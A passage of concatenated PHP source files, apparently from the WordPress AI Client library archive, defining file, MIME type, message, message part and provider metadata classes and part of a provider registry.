\PATHINFO_EXTENSION); if (!empty($extension)) { try { return MimeType::fromExtension($extension); } catch (InvalidArgumentException $e) { // Extension not recognized, continue to error unset($e); } } } throw new InvalidArgumentException('Unable to determine MIME type. Please provide it explicitly.'); } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'oneOf' => [['properties' => [self::KEY_FILE_TYPE => ['type' => 'string', 'const' => FileTypeEnum::REMOTE, 'description' => 'The file type.'], self::KEY_MIME_TYPE => ['type' => 'string', 'description' => 'The MIME type of the file.', 'pattern' => '^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9]' . '[a-zA-Z0-9!#$&\-\^_+.]*$'], self::KEY_URL => ['type' => 'string', 'format' => 'uri', 'description' => 'The URL to the remote file.']], 'required' => [self::KEY_FILE_TYPE, self::KEY_MIME_TYPE, self::KEY_URL]], ['properties' => [self::KEY_FILE_TYPE => ['type' => 'string', 'const' => FileTypeEnum::INLINE, 'description' => 'The file type.'], self::KEY_MIME_TYPE => ['type' => 'string', 'description' => 'The MIME type of the file.', 'pattern' => '^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9]' . '[a-zA-Z0-9!#$&\-\^_+.]*$'], self::KEY_BASE64_DATA => ['type' => 'string', 'description' => 'The base64-encoded file data.']], 'required' => [self::KEY_FILE_TYPE, self::KEY_MIME_TYPE, self::KEY_BASE64_DATA]]]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return FileArrayShape */ public function toArray(): array { $data = [self::KEY_FILE_TYPE => $this->fileType->value, self::KEY_MIME_TYPE => $this->getMimeType()]; if ($this->url !== null) { $data[self::KEY_URL] = $this->url; } elseif (!$this->fileType->isRemote() && $this->base64Data !== null) { $data[self::KEY_BASE64_DATA] = $this->base64Data; } else { throw new RuntimeException('File requires either url or base64Data. This should not be a possible condition.'); } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_FILE_TYPE]); // Check which properties are set to determine how to construct the File $mimeType = $array[self::KEY_MIME_TYPE] ?? null; if (isset($array[self::KEY_URL])) { return new self($array[self::KEY_URL], $mimeType); } elseif (isset($array[self::KEY_BASE64_DATA])) { return new self($array[self::KEY_BASE64_DATA], $mimeType); } else { throw new InvalidArgumentException('File requires either url or base64Data.'); } } /** * Performs a deep clone of the file. * * This method ensures that the MimeType value object is cloned to prevent * any shared references between the original and cloned file. * * @since 0.4.2 */ public function __clone() { $this->mimeType = clone $this->mimeType; } } Files/Enums/MediaOrientationEnum.php000064400000001730152076731270013501 0ustar00 */ private static array $extensionMap = [ // Text 'txt' => 'text/plain', 'html' => 'text/html', 'htm' => 'text/html', 'css' => 'text/css', 'js' => 'application/javascript', 'json' => 'application/json', 'xml' => 'application/xml', 'csv' => 'text/csv', 'md' => 'text/markdown', // Images 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', 'bmp' => 'image/bmp', 'webp' => 'image/webp', 'svg' => 'image/svg+xml', 'ico' => 'image/x-icon', // Documents 'pdf' => 'application/pdf', 'doc' => 'application/msword', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'xls' => 'application/vnd.ms-excel', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'ppt' => 'application/vnd.ms-powerpoint', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'odt' => 'application/vnd.oasis.opendocument.text', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', // Archives 'zip' => 'application/zip', 'tar' => 'application/x-tar', 'gz' => 'application/gzip', 'rar' => 'application/x-rar-compressed', '7z' => 'application/x-7z-compressed', // Audio 'mp3' => 'audio/mpeg', 'wav' => 'audio/wav', 'ogg' => 'audio/ogg', 'flac' => 'audio/flac', 'm4a' => 'audio/m4a', 'aac' => 'audio/aac', // Video 'mp4' => 'video/mp4', 'avi' => 'video/x-msvideo', 'mov' => 'video/quicktime', 'wmv' => 'video/x-ms-wmv', 'flv' => 'video/x-flv', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', // Fonts 'ttf' => 'font/ttf', 'otf' => 'font/otf', 'woff' => 'font/woff', 'woff2' => 'font/woff2', // Other 'php' => 'application/x-httpd-php', 'sh' => 'application/x-sh', 'exe' => 'application/x-msdownload', ]; /** * Document MIME types. * * @var array */ private static array $documentTypes = ['application/pdf', 'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'application/vnd.ms-powerpoint', 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'application/vnd.oasis.opendocument.text', 'application/vnd.oasis.opendocument.spreadsheet']; /** * Constructor. * * @since 0.1.0 * * @param string $value The MIME type value. * @throws InvalidArgumentException If the MIME type is invalid. */ public function __construct(string $value) { if (!self::isValid($value)) { throw new InvalidArgumentException(sprintf('Invalid MIME type: %s', $value)); } $this->value = strtolower($value); } /** * Gets the primary known file extension for this MIME type. * * @since 0.1.0 * * @return string The file extension (without the dot). * @throws InvalidArgumentException If no known extension exists for this MIME type. */ public function toExtension(): string { // Reverse lookup for the MIME type to find the extension. $extension = array_search($this->value, self::$extensionMap, \true); if ($extension === \false) { throw new InvalidArgumentException(sprintf('No known extension for MIME type: %s', $this->value)); } return $extension; } /** * Creates a MimeType from a file extension. * * @since 0.1.0 * * @param string $extension The file extension (without the dot). * @return self The MimeType instance. * @throws InvalidArgumentException If the extension is not recognized. */ public static function fromExtension(string $extension): self { $extension = strtolower($extension); if (!isset(self::$extensionMap[$extension])) { throw new InvalidArgumentException(sprintf('Unknown file extension: %s', $extension)); } return new self(self::$extensionMap[$extension]); } /** * Checks if a MIME type string is valid. * * @since 0.1.0 * * @param string $mimeType The MIME type to validate. * @return bool True if valid. */ public static function isValid(string $mimeType): bool { // Basic MIME type validation: type/subtype return (bool) preg_match('/^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*$/', $mimeType); } /** * Checks if this MIME type is a specific type. * * This method returns true when the stored MIME type begins with the * given prefix. For example, `"audio"` matches `"audio/mpeg"`. * * @since 0.1.0 * * @param string $mimeType The MIME type prefix to check (e.g., "audio", "image"). * @return bool True if this MIME type is of the specified type. */ public function isType(string $mimeType): bool { return str_starts_with($this->value, strtolower($mimeType) . '/'); } /** * Checks if this is an image MIME type. * * @since 0.1.0 * * @return bool True if this is an image type. */ public function isImage(): bool { return $this->isType('image'); } /** * Checks if this is an audio MIME type. * * @since 0.1.0 * * @return bool True if this is an audio type. */ public function isAudio(): bool { return $this->isType('audio'); } /** * Checks if this is a video MIME type. * * @since 0.1.0 * * @return bool True if this is a video type. */ public function isVideo(): bool { return $this->isType('video'); } /** * Checks if this is a text MIME type. * * @since 0.1.0 * * @return bool True if this is a text type. */ public function isText(): bool { return $this->isType('text'); } /** * Checks if this is a document MIME type. * * @since 0.1.0 * * @return bool True if this is a document type. */ public function isDocument(): bool { return in_array($this->value, self::$documentTypes, \true); } /** * Checks if this MIME type equals another. * * @since 0.1.0 * * @param self|string $other The other MIME type to compare. * @return bool True if equal. * @throws InvalidArgumentException If the other MIME type is invalid. */ public function equals($other): bool { if ($other instanceof self) { return $this->value === $other->value; } if (is_string($other)) { return $this->value === strtolower($other); } throw new InvalidArgumentException(sprintf('Invalid MIME type comparison: %s', gettype($other))); } /** * Gets the string representation of the MIME type. * * @since 0.1.0 * * @return string The MIME type value. */ public function __toString(): string { return $this->value; } } Messages/DTO/Message.php000064400000013044152076731270011052 0ustar00 * } * * @extends AbstractDataTransferObject */ class Message extends AbstractDataTransferObject { public const KEY_ROLE = 'role'; public const KEY_PARTS = 'parts'; /** * @var MessageRoleEnum The role of the message sender. */ protected MessageRoleEnum $role; /** * @var MessagePart[] The parts that make up this message. */ protected array $parts; /** * Constructor. * * @since 0.1.0 * * @param MessageRoleEnum $role The role of the message sender. * @param MessagePart[] $parts The parts that make up this message. * @throws InvalidArgumentException If parts contain invalid content for the role. */ public function __construct(MessageRoleEnum $role, array $parts) { $this->role = $role; $this->parts = $parts; $this->validateParts(); } /** * Gets the role of the message sender. * * @since 0.1.0 * * @return MessageRoleEnum The role. */ public function getRole(): MessageRoleEnum { return $this->role; } /** * Gets the message parts. * * @since 0.1.0 * * @return MessagePart[] The message parts. */ public function getParts(): array { return $this->parts; } /** * Returns a new instance with the given part appended. * * @since 0.1.0 * * @param MessagePart $part The part to append. * @return Message A new instance with the part appended. * @throws InvalidArgumentException If the part is invalid for the role. */ public function withPart(\WordPress\AiClient\Messages\DTO\MessagePart $part): \WordPress\AiClient\Messages\DTO\Message { $newParts = $this->parts; $newParts[] = $part; return new \WordPress\AiClient\Messages\DTO\Message($this->role, $newParts); } /** * Validates that the message parts are appropriate for the message role. * * @since 0.1.0 * * @return void * @throws InvalidArgumentException If validation fails. */ private function validateParts(): void { foreach ($this->parts as $part) { $type = $part->getType(); if ($this->role->isUser() && $type->isFunctionCall()) { throw new InvalidArgumentException('User messages cannot contain function calls.'); } if ($this->role->isModel() && $type->isFunctionResponse()) { throw new InvalidArgumentException('Model messages cannot contain function responses.'); } } } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ROLE => ['type' => 'string', 'enum' => MessageRoleEnum::getValues(), 'description' => 'The role of the message sender.'], self::KEY_PARTS => ['type' => 'array', 'items' => \WordPress\AiClient\Messages\DTO\MessagePart::getJsonSchema(), 'minItems' => 1, 'description' => 'The parts that make up this message.']], 'required' => [self::KEY_ROLE, self::KEY_PARTS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return MessageArrayShape */ public function toArray(): array { return [self::KEY_ROLE => $this->role->value, self::KEY_PARTS => array_map(function (\WordPress\AiClient\Messages\DTO\MessagePart $part) { return $part->toArray(); }, $this->parts)]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return self The specific message class based on the role. */ final public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_ROLE, self::KEY_PARTS]); $role = MessageRoleEnum::from($array[self::KEY_ROLE]); $partsData = $array[self::KEY_PARTS]; $parts = array_map(function (array $partData) { return \WordPress\AiClient\Messages\DTO\MessagePart::fromArray($partData); }, $partsData); // Determine which concrete class to instantiate based on role if ($role->isUser()) { return new \WordPress\AiClient\Messages\DTO\UserMessage($parts); } elseif ($role->isModel()) { return new \WordPress\AiClient\Messages\DTO\ModelMessage($parts); } else { // Only USER and MODEL roles are supported throw new InvalidArgumentException('Invalid message role: ' . $role->value); } } /** * Performs a deep clone of the message. * * This method ensures that message part objects are cloned to prevent * modifications to the cloned message from affecting the original. * * @since 0.4.2 */ public function __clone() { $clonedParts = []; foreach ($this->parts as $part) { $clonedParts[] = clone $part; } $this->parts = $clonedParts; } } Messages/DTO/MessagePart.php000064400000025055152076731270011706 0ustar00 */ class MessagePart extends AbstractDataTransferObject { public const KEY_CHANNEL = 'channel'; public const KEY_TYPE = 'type'; public const KEY_THOUGHT_SIGNATURE = 'thoughtSignature'; public const KEY_TEXT = 'text'; public const KEY_FILE = 'file'; public const KEY_FUNCTION_CALL = 'functionCall'; public const KEY_FUNCTION_RESPONSE = 'functionResponse'; /** * @var MessagePartChannelEnum The channel this message part belongs to. */ private MessagePartChannelEnum $channel; /** * @var MessagePartTypeEnum The type of this message part. */ private MessagePartTypeEnum $type; /** * @var string|null Thought signature for extended thinking. */ private ?string $thoughtSignature = null; /** * @var string|null Text content (when type is TEXT). */ private ?string $text = null; /** * @var File|null File data (when type is FILE). */ private ?File $file = null; /** * @var FunctionCall|null Function call request (when type is FUNCTION_CALL). */ private ?FunctionCall $functionCall = null; /** * @var FunctionResponse|null Function response (when type is FUNCTION_RESPONSE). */ private ?FunctionResponse $functionResponse = null; /** * Constructor that accepts various content types and infers the message part type. * * @since 0.1.0 * * @param mixed $content The content of this message part. * @param MessagePartChannelEnum|null $channel The channel this part belongs to. Defaults to CONTENT. * @param string|null $thoughtSignature Optional thought signature for extended thinking. * @throws InvalidArgumentException If an unsupported content type is provided. */ public function __construct($content, ?MessagePartChannelEnum $channel = null, ?string $thoughtSignature = null) { $this->channel = $channel ?? MessagePartChannelEnum::content(); $this->thoughtSignature = $thoughtSignature; if (is_string($content)) { $this->type = MessagePartTypeEnum::text(); $this->text = $content; } elseif ($content instanceof File) { $this->type = MessagePartTypeEnum::file(); $this->file = $content; } elseif ($content instanceof FunctionCall) { $this->type = MessagePartTypeEnum::functionCall(); $this->functionCall = $content; } elseif ($content instanceof FunctionResponse) { $this->type = MessagePartTypeEnum::functionResponse(); $this->functionResponse = $content; } else { $type = is_object($content) ? get_class($content) : gettype($content); throw new InvalidArgumentException(sprintf('Unsupported content type %s. Expected string, File, ' . 'FunctionCall, or FunctionResponse.', $type)); } } /** * Gets the channel this message part belongs to. * * @since 0.1.0 * * @return MessagePartChannelEnum The channel. */ public function getChannel(): MessagePartChannelEnum { return $this->channel; } /** * Gets the type of this message part. * * @since 0.1.0 * * @return MessagePartTypeEnum The type. */ public function getType(): MessagePartTypeEnum { return $this->type; } /** * Gets the thought signature. * * @since 1.3.0 * * @return string|null The thought signature or null if not set. */ public function getThoughtSignature(): ?string { return $this->thoughtSignature; } /** * Gets the text content. * * @since 0.1.0 * * @return string|null The text content or null if not a text part. */ public function getText(): ?string { return $this->text; } /** * Gets the file. * * @since 0.1.0 * * @return File|null The file or null if not a file part. */ public function getFile(): ?File { return $this->file; } /** * Gets the function call. * * @since 0.1.0 * * @return FunctionCall|null The function call or null if not a function call part. */ public function getFunctionCall(): ?FunctionCall { return $this->functionCall; } /** * Gets the function response. * * @since 0.1.0 * * @return FunctionResponse|null The function response or null if not a function response part. */ public function getFunctionResponse(): ?FunctionResponse { return $this->functionResponse; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { $channelSchema = ['type' => 'string', 'enum' => MessagePartChannelEnum::getValues(), 'description' => 'The channel this message part belongs to.']; $thoughtSignatureSchema = ['type' => 'string', 'description' => 'Thought signature for extended thinking.']; return ['oneOf' => [['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::text()->value], self::KEY_TEXT => ['type' => 'string', 'description' => 'Text content.'], self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_TEXT], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::file()->value], self::KEY_FILE => File::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FILE], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::functionCall()->value], self::KEY_FUNCTION_CALL => FunctionCall::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FUNCTION_CALL], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::functionResponse()->value], self::KEY_FUNCTION_RESPONSE => FunctionResponse::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FUNCTION_RESPONSE], 'additionalProperties' => \false]]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return MessagePartArrayShape */ public function toArray(): array { $data = [self::KEY_CHANNEL => $this->channel->value, self::KEY_TYPE => $this->type->value]; if ($this->text !== null) { $data[self::KEY_TEXT] = $this->text; } elseif ($this->file !== null) { $data[self::KEY_FILE] = $this->file->toArray(); } elseif ($this->functionCall !== null) { $data[self::KEY_FUNCTION_CALL] = $this->functionCall->toArray(); } elseif ($this->functionResponse !== null) { $data[self::KEY_FUNCTION_RESPONSE] = $this->functionResponse->toArray(); } else { throw new RuntimeException('MessagePart requires one of: text, file, functionCall, or functionResponse. ' . 'This should not be a possible condition.'); } if ($this->thoughtSignature !== null) { $data[self::KEY_THOUGHT_SIGNATURE] = $this->thoughtSignature; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { if (isset($array[self::KEY_CHANNEL])) { $channel = MessagePartChannelEnum::from($array[self::KEY_CHANNEL]); } else { $channel = null; } $thoughtSignature = $array[self::KEY_THOUGHT_SIGNATURE] ?? null; // Check which properties are set to determine how to construct the MessagePart if (isset($array[self::KEY_TEXT])) { return new self($array[self::KEY_TEXT], $channel, $thoughtSignature); } elseif (isset($array[self::KEY_FILE])) { return new self(File::fromArray($array[self::KEY_FILE]), $channel, $thoughtSignature); } elseif (isset($array[self::KEY_FUNCTION_CALL])) { return new self(FunctionCall::fromArray($array[self::KEY_FUNCTION_CALL]), $channel, $thoughtSignature); } elseif (isset($array[self::KEY_FUNCTION_RESPONSE])) { return new self(FunctionResponse::fromArray($array[self::KEY_FUNCTION_RESPONSE]), $channel, $thoughtSignature); } else { throw new InvalidArgumentException('MessagePart requires one of: text, file, functionCall, or functionResponse.'); } } /** * Performs a deep clone of the message part. * * This method ensures that nested objects (file, function call, function response) * are cloned to prevent modifications to the cloned part from affecting the original. * * @since 0.4.2 */ public function __clone() { if ($this->file !== null) { $this->file = clone $this->file; } if ($this->functionCall !== null) { $this->functionCall = clone $this->functionCall; } if ($this->functionResponse !== null) { $this->functionResponse = clone $this->functionResponse; } } } Messages/DTO/UserMessage.php000064400000001454152076731270011713 0ustar00getRole()` * to check the role of a message. * * @since 0.1.0 */ class UserMessage extends \WordPress\AiClient\Messages\DTO\Message { /** * Constructor. * * @since 0.1.0 * * @param MessagePart[] $parts The parts that make up this message. */ public function __construct(array $parts) { parent::__construct(MessageRoleEnum::user(), $parts); } } Messages/DTO/ModelMessage.php000064400000001544152076731270012035 0ustar00getRole()` * to check the role of a message. * * @since 0.1.0 */ class ModelMessage extends \WordPress\AiClient\Messages\DTO\Message { /** * Constructor. * * @since 0.1.0 * * @param MessagePart[] $parts The parts that make up this message. */ public function __construct(array $parts) { parent::__construct(MessageRoleEnum::model(), $parts); } } Messages/Enums/ModalityEnum.php000064400000002407152076731270012537 0ustar00 * } * * @extends AbstractDataTransferObject */ class ProviderModelsMetadata extends AbstractDataTransferObject { public const KEY_PROVIDER = 'provider'; public const KEY_MODELS = 'models'; /** * @var ProviderMetadata The provider metadata. */ protected \WordPress\AiClient\Providers\DTO\ProviderMetadata $provider; /** * @var list The available models. */ protected array $models; /** * Constructor. * * @since 0.1.0 * * @param ProviderMetadata $provider The provider metadata. * @param list $models The available models. * * @throws InvalidArgumentException If models is not a list. */ public function __construct(\WordPress\AiClient\Providers\DTO\ProviderMetadata $provider, array $models) { if (!array_is_list($models)) { throw new InvalidArgumentException('Models must be a list array.'); } $this->provider = $provider; $this->models = $models; } /** * Creates a deep clone of this metadata. * * Clones the provider metadata and all model metadata objects * to ensure the cloned instance is independent of the original. * * @since 0.4.2 */ public function __clone() { // Clone provider metadata $this->provider = clone $this->provider; // Deep clone models array (ModelMetadata has __clone) $clonedModels = []; foreach ($this->models as $model) { $clonedModels[] = clone $model; } $this->models = $clonedModels; } /** * Gets the provider metadata. * * @since 0.1.0 * * @return ProviderMetadata The provider metadata. */ public function getProvider(): \WordPress\AiClient\Providers\DTO\ProviderMetadata { return $this->provider; } /** * Gets the available models. * * @since 0.1.0 * * @return list The available models. */ public function getModels(): array { return $this->models; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_PROVIDER => \WordPress\AiClient\Providers\DTO\ProviderMetadata::getJsonSchema(), self::KEY_MODELS => ['type' => 'array', 'items' => ModelMetadata::getJsonSchema(), 'description' => 'The available models for this provider.']], 'required' => [self::KEY_PROVIDER, self::KEY_MODELS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return ProviderModelsMetadataArrayShape */ public function toArray(): array { return [self::KEY_PROVIDER => $this->provider->toArray(), self::KEY_MODELS => array_map(static fn(ModelMetadata $model): array => $model->toArray(), $this->models)]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_PROVIDER, self::KEY_MODELS]); return new self(\WordPress\AiClient\Providers\DTO\ProviderMetadata::fromArray($array[self::KEY_PROVIDER]), array_map(static fn(array $modelData): ModelMetadata => ModelMetadata::fromArray($modelData), $array[self::KEY_MODELS])); } } Providers/DTO/ProviderMetadata.php000064400000017364152076731310013133 0ustar00 */ class ProviderMetadata extends AbstractDataTransferObject { public const KEY_ID = 'id'; public const KEY_NAME = 'name'; public const KEY_DESCRIPTION = 'description'; public const KEY_TYPE = 'type'; public const KEY_CREDENTIALS_URL = 'credentialsUrl'; public const KEY_AUTHENTICATION_METHOD = 'authenticationMethod'; public const KEY_LOGO_PATH = 'logoPath'; /** * @var string The provider's unique identifier. */ protected string $id; /** * @var string The provider's display name. */ protected string $name; /** * @var string|null The provider's description. */ protected ?string $description; /** * @var ProviderTypeEnum The provider type. */ protected ProviderTypeEnum $type; /** * @var string|null The URL where users can get credentials. */ protected ?string $credentialsUrl; /** * @var RequestAuthenticationMethod|null The authentication method. */ protected ?RequestAuthenticationMethod $authenticationMethod; /** * @var string|null The full path to the provider's logo image file. */ protected ?string $logoPath; /** * Constructor. * * @since 0.1.0 * @since 1.2.0 Added optional $description parameter. * @since 1.3.0 Added optional $logoPath parameter. * * @param string $id The provider's unique identifier. * @param string $name The provider's display name. * @param ProviderTypeEnum $type The provider type. * @param string|null $credentialsUrl The URL where users can get credentials. * @param RequestAuthenticationMethod|null $authenticationMethod The authentication method. * @param string|null $description The provider's description. * @param string|null $logoPath The full path to the provider's logo image file. * @throws InvalidArgumentException If the provider ID contains invalid characters. */ public function __construct(string $id, string $name, ProviderTypeEnum $type, ?string $credentialsUrl = null, ?RequestAuthenticationMethod $authenticationMethod = null, ?string $description = null, ?string $logoPath = null) { if (!preg_match('/^[a-z0-9\-_]+$/', $id)) { throw new InvalidArgumentException(sprintf( // phpcs:ignore Generic.Files.LineLength.TooLong 'Invalid provider ID "%s". Only lowercase alphanumeric characters, hyphens, and underscores are allowed.', $id )); } $this->id = $id; $this->name = $name; $this->description = $description; $this->type = $type; $this->credentialsUrl = $credentialsUrl; $this->authenticationMethod = $authenticationMethod; $this->logoPath = $logoPath; } /** * Gets the provider's unique identifier. * * @since 0.1.0 * * @return string The provider ID. */ public function getId(): string { return $this->id; } /** * Gets the provider's display name. * * @since 0.1.0 * * @return string The provider name. */ public function getName(): string { return $this->name; } /** * Gets the provider's description. * * @since 1.2.0 * * @return string|null The provider description. */ public function getDescription(): ?string { return $this->description; } /** * Gets the provider type. * * @since 0.1.0 * * @return ProviderTypeEnum The provider type. */ public function getType(): ProviderTypeEnum { return $this->type; } /** * Gets the credentials URL. * * @since 0.1.0 * * @return string|null The credentials URL. */ public function getCredentialsUrl(): ?string { return $this->credentialsUrl; } /** * Gets the authentication method. * * @since 0.4.0 * * @return RequestAuthenticationMethod|null The authentication method. */ public function getAuthenticationMethod(): ?RequestAuthenticationMethod { return $this->authenticationMethod; } /** * Gets the full path to the provider's logo image file. * * @since 1.3.0 * * @return string|null The full path to the logo image file. */ public function getLogoPath(): ?string { return $this->logoPath; } /** * {@inheritDoc} * * @since 0.1.0 * @since 1.2.0 Added description to schema. * @since 1.3.0 Added logoPath to schema. */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The provider\'s unique identifier.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The provider\'s display name.'], self::KEY_DESCRIPTION => ['type' => 'string', 'description' => 'The provider\'s description.'], self::KEY_TYPE => ['type' => 'string', 'enum' => ProviderTypeEnum::getValues(), 'description' => 'The provider type (cloud, server, or client).'], self::KEY_CREDENTIALS_URL => ['type' => 'string', 'description' => 'The URL where users can get credentials.'], self::KEY_AUTHENTICATION_METHOD => ['type' => ['string', 'null'], 'enum' => array_merge(RequestAuthenticationMethod::getValues(), [null]), 'description' => 'The authentication method.'], self::KEY_LOGO_PATH => ['type' => 'string', 'description' => 'The full path to the provider\'s logo image file.']], 'required' => [self::KEY_ID, self::KEY_NAME, self::KEY_TYPE]]; } /** * {@inheritDoc} * * @since 0.1.0 * @since 1.2.0 Added description to output. * @since 1.3.0 Added logoPath to output. * * @return ProviderMetadataArrayShape */ public function toArray(): array { return [self::KEY_ID => $this->id, self::KEY_NAME => $this->name, self::KEY_DESCRIPTION => $this->description, self::KEY_TYPE => $this->type->value, self::KEY_CREDENTIALS_URL => $this->credentialsUrl, self::KEY_AUTHENTICATION_METHOD => $this->authenticationMethod ? $this->authenticationMethod->value : null, self::KEY_LOGO_PATH => $this->logoPath]; } /** * {@inheritDoc} * * @since 0.1.0 * @since 1.2.0 Added description support. * @since 1.3.0 Added logoPath support. */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_ID, self::KEY_NAME, self::KEY_TYPE]); return new self($array[self::KEY_ID], $array[self::KEY_NAME], ProviderTypeEnum::from($array[self::KEY_TYPE]), $array[self::KEY_CREDENTIALS_URL] ?? null, isset($array[self::KEY_AUTHENTICATION_METHOD]) ? RequestAuthenticationMethod::from($array[self::KEY_AUTHENTICATION_METHOD]) : null, $array[self::KEY_DESCRIPTION] ?? null, $array[self::KEY_LOGO_PATH] ?? null); } } Providers/ProviderRegistry.php000064400000057020152076731310012566 0ustar00> Mapping of provider IDs to class names. */ private array $registeredIdsToClassNames = []; /** * @var array, string> Mapping of provider class names to IDs. */ private array $registeredClassNamesToIds = []; /** * @var array, RequestAuthenticationInterface> Mapping of provider class names to * authentication instances. */ private array $providerAuthenticationInstances = []; /** * Registers a provider class with the registry. * * @since 0.1.0 * * @param class-string $className The fully qualified provider class name implementing the * ProviderInterface * @throws InvalidArgumentException If the class doesn't exist or implement the required interface. */ public function registerProvider(string $className): void { if (!class_exists($className)) { throw new InvalidArgumentException(sprintf('Provider class does not exist: %s', $className)); } // Validate that class implements ProviderInterface if (!is_subclass_of($className, ProviderInterface::class)) { throw new InvalidArgumentException(sprintf('Provider class must implement %s: %s', ProviderInterface::class, $className)); } $metadata = $className::metadata(); if (!$metadata instanceof ProviderMetadata) { throw new InvalidArgumentException(sprintf('Provider must return ProviderMetadata from metadata() method: %s', $className)); } // If there is already a HTTP transporter instance set, hook it up to the provider as needed. try { $httpTransporter = $this->getHttpTransporter(); } catch (RuntimeException $e) { /* * If this fails, it's okay. There is no defined sequence between setting the HTTP transporter in the * registry and registering providers in it, so it might be that the transporter is set later. It will be * hooked up then. * But for now we can ignore this exception and attempt to set the default HTTP transporter, if possible. */ try { $this->setHttpTransporter(HttpTransporterFactory::createTransporter()); $httpTransporter = $this->getHttpTransporter(); } catch (DiscoveryNotFoundException $e) { /* * If no HTTP client implementation can be discovered yet, we can ignore this for now. * It might be set later, so it's not a hard error at this point. * We'll try again the next time a provider is registered, or maybe by that time an explicit * HTTP transporter will have been set. */ } } if (isset($httpTransporter)) { $this->setHttpTransporterForProvider($className, $httpTransporter); } // Hook up the request authentication instance, using a default if not set. if (!isset($this->providerAuthenticationInstances[$className])) { $defaultProviderAuthentication = $this->createDefaultProviderRequestAuthentication($className); if ($defaultProviderAuthentication !== null) { $this->providerAuthenticationInstances[$className] = $defaultProviderAuthentication; } } if (isset($this->providerAuthenticationInstances[$className])) { $this->setRequestAuthenticationForProvider($className, $this->providerAuthenticationInstances[$className]); } $this->registeredIdsToClassNames[$metadata->getId()] = $className; $this->registeredClassNamesToIds[$className] = $metadata->getId(); } /** * Gets a list of all registered provider IDs. * * @since 0.1.0 * * @return list List of registered provider IDs. */ public function getRegisteredProviderIds(): array { return array_keys($this->registeredIdsToClassNames); } /** * Checks if a provider is registered. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name to check. * @return bool True if the provider is registered. */ public function hasProvider(string $idOrClassName): bool { return $this->isRegisteredId($idOrClassName) || $this->isRegisteredClassName($idOrClassName); } /** * Gets the class name for a registered provider. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @return class-string The provider class name. * @throws InvalidArgumentException If the provider is not registered. */ public function getProviderClassName(string $idOrClassName): string { // If it's already a class name, return it if ($this->isRegisteredClassName($idOrClassName)) { return $idOrClassName; } // If it's a registered ID, return its class name if ($this->isRegisteredId($idOrClassName)) { return $this->registeredIdsToClassNames[$idOrClassName]; } // Not found throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName)); } /** * Gets the provider ID for a registered provider. * * @since 0.2.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @return string The provider ID. * @throws InvalidArgumentException If the provider is not registered. */ public function getProviderId(string $idOrClassName): string { // If it's already an ID, return it if ($this->isRegisteredId($idOrClassName)) { return $idOrClassName; } // If it's a registered class name, return its ID if ($this->isRegisteredClassName($idOrClassName)) { return $this->registeredClassNamesToIds[$idOrClassName]; } // Not found throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName)); } /** * Checks if a provider is properly configured. * * @since 0.1.0 * * @param string|class-string $idOrClassName The provider ID or class name. * @return bool True if the provider is configured and ready to use. */ public function isProviderConfigured(string $idOrClassName): bool { try { $className = $this->resolveProviderClassName($idOrClassName); // Use static 